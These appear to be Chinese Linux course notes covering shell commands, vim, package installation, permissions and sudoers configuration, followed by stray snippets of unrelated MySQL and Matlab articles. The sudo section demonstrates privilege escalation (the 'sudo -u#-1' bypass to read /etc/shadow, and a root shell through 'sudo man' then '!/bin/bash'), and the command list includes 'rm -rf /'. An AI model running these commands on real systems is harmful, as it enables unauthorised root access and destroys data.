上午 梳理基本命令
筆試day01 增刪改查命令
cat -n 檔案
ls -a 所有 -l 長格式 -h 人類可讀 -r 遞迴 目錄
-d 只看目錄的許可權 /tmp directory
ls -l /
ls -l /tmp
touch 建立空檔案 更新檔案時間標記
mkdir 建立目錄
gedit 不用
echo "nihao" >> /tmp/123.txt
mv move 剪下 重新命名
cp 拷貝 -r 遞迴 拷貝目錄
rm -rf / &> /dev/null
day02
/ /bin /sbin /dev /etc /home /root /mnt /var /usr /boot /proc
黑 綠 紅 紫 藍 淺藍
統計more less tail grep awk sort uniq du wc
tail -f 檔案 跟蹤檔案的變化
grep 過濾關鍵字所在行
awk '' 過濾字段
| 前面命令的輸出作為後面命令的處理內容
sort 排序
uniq 合併 -c 統計合併次數
du 統計目錄占用磁碟空間大小 -sh
wc 統計檔案行數字數 位元組數
gzip gunzip
bzip2 bunzip2
/tmp/1903的目錄 請用gzip的壓縮方式將其進行打包壓縮
cd /tmp
tar -zcf /tmp/1903.tar.gz 1903
tar -xf /tmp/1903.tar.gz -c /root/desktop
vim命令 模式 輸入模式 末行模式
命令模式:dd yy p i 50g g
末行模式
:wq:q!
:% s/old/new/g
:set nu
:40,45 d
:30,40 y
day03 軟體安裝
軟體分類: 原始碼 封裝後的軟體包
1、檔案型別tar.gz 壓縮包
2、readme install 安裝
3、 ./configure --prefix=/usr/local/webserver
指定軟體安裝路徑 指定安裝功能 生成makefile檔案
4、make 根據makefile檔案進行編譯
5、make install 將編譯後的檔案拷貝到指定路徑
.rpm 紅帽的包管理器
.deb debian軟體包
rpm -qa -qpi --scripts -qpl -ivh -e
yum源的位置以及配置過程
/etc/yum.repos.d/1903.repo
[1903]
name=123456
baseurl=file:/misc/cd
gpgcheck=0
yum install 軟體
yum remove 軟體
-rw-r--r-- 1
drwxr-xr-x 2 tom root 4096 ort 10 19:30 1903dir
l b c
chmod 644
chmod 755
chown 修檔案所屬者
chgrp 修改檔案的所屬組
useradd -u -g -g -s usermod userdel -r
groupadd -g 指定gid groupmod groupdel gpasswd -r tom 1903
passwd -u -l -s --stdin
vim /etc/passwd
vim /etc/shedow
root:x:0:0:root:/root:/bin/bash
使用者名稱uid
使用者家目錄
命令直譯器
root:$6$sjdfal$alkdsfjaldskfj:18783:0:99999:7: :18794:
加密後的密碼 sha-512 混和 salt值加密
距離2023年1月1日密碼最近一次的修改時間
密碼最長有效期 90 90天必須改密碼
chage -m 90 指定使用者密碼的最長有效期90天
-e 2019-10-30 賬戶的失效時間
-d 0 使用者登入系統必須重新修改密碼
suid chmod u+s
/usr/bin/vim -rwsr-xr-x root root
sudo ls
sudo vi /etc/passwd
使用者為普通使用者 提公升使用命令的 許可權 (root使用者)
sudo 可以為指定使用者 提公升命令許可權
用法 普通使用者
sudo 命令字
sudo -l 列出普通使用者可以使用的sudo命令字
visudo 命令 root使用者用來編輯sudoers檔案的命令
該檔案中注釋 有
## 文字說明
# 應用例項
主機別名 host_alias hosts = 主機名稱1,主機名稱2
使用者別名 user_alias users = zhaokk,dc
命令別名 cmnd_alias guanji = /sbin/init,/sbin/poweroff
別名一定要用大寫
users all=(all) guanji
使用者別名 主機別名所有主機=(使用者別名 使用所有使用者的身份包含root) 命令別名
dc all=(root) /sbin/init 不使用別名賦權
su - dc
$sudo -u root init 6 第一次預設要求輸入自己的密碼確認身份
指定使用哪個使用者的身份執行 init 6命令
練習內容: 建立乙個自己的同名使用者,要求該使用者可以執行root的/sbin/reboot 嘗試使用該使用者並通過sudo執行該命令檢視結果。
user_alias class = wencoll
cmnd_alias chong = /sbin/reboot
class all=(root) chong
如果乙個使用者授權使用命令的時候 不允許以root使用者身份執行應該如何設定?以及當前情況如何通過漏洞提權
visudo
wencoll all=(all,!root) nopasswd:all
為wencoll使用者 指定使用命令不可以以root使用者身份執行
su - wencoll
sudo -u dc id 檢視id命令是以誰的身份執行
sudo -u root id 輸入密碼後顯示不允許以root使用者身份
sudo -u#-1 id 因為使用了非法的uid符號-1 系統誤認為該使用者uid為0 root的id資訊
sudo -u#-1 cat /etc/shadow
為wencoll使用者設定man命令為以root使用者身份執行
wencoll all=(root) nopasswd:/usr/bin/man
sudo man /etc/shadow 可以以root使用者身份檢視檔案
!/bin/bash 以root使用者身份開了乙個命令直譯器(提權成了root)
man man
學習以下命令的suid和sudo的提權方法。
arp新建乙個檔案 ip(mac位址) +ip位址
arp -v -f /tmp/test.txt 可以檢視到密匙
awkawk 『 // ' /etc/passwd 通過awk的過濾功能 查密碼
catchmod
chown
cpdd
mysql從入門到精通《四》
三 mysql高階 接上篇 1 檢視 檢視就是一條select語句執行後返回的結果集,所以我們在建立檢視的時候,主要的工作就落在建立這條sql語句上。檢視是對若干張基本表的引用,一張虛表,查詢語句執行的結果,不儲存具體的資料 基本表資料發生變化以後,檢視也會跟著改變 定義檢視 建議以v 開頭 cre...
Matlab從入門到精通(四)
student.test 99 56 96 87 67 69 87 76 92 student.name wu qing student.weight 68 student.height 1.72 student.num 2003214091 student.add school of civil ...
MySQL從入門到精通(四)
實際應用中,我們會主動打破第三正規化,提公升查詢效率 物理設計 設計資料庫的物理結構,根據資料庫的邏輯結構來選定rdbms 比如 oracle,mysql等 並設計和試試資料庫的儲存結果,訪問方式 將資料庫結構和資料落庫 禁止對線上資料庫進行壓測 禁止從開發環境連線測試或生產資料庫 組合索引的字段匹...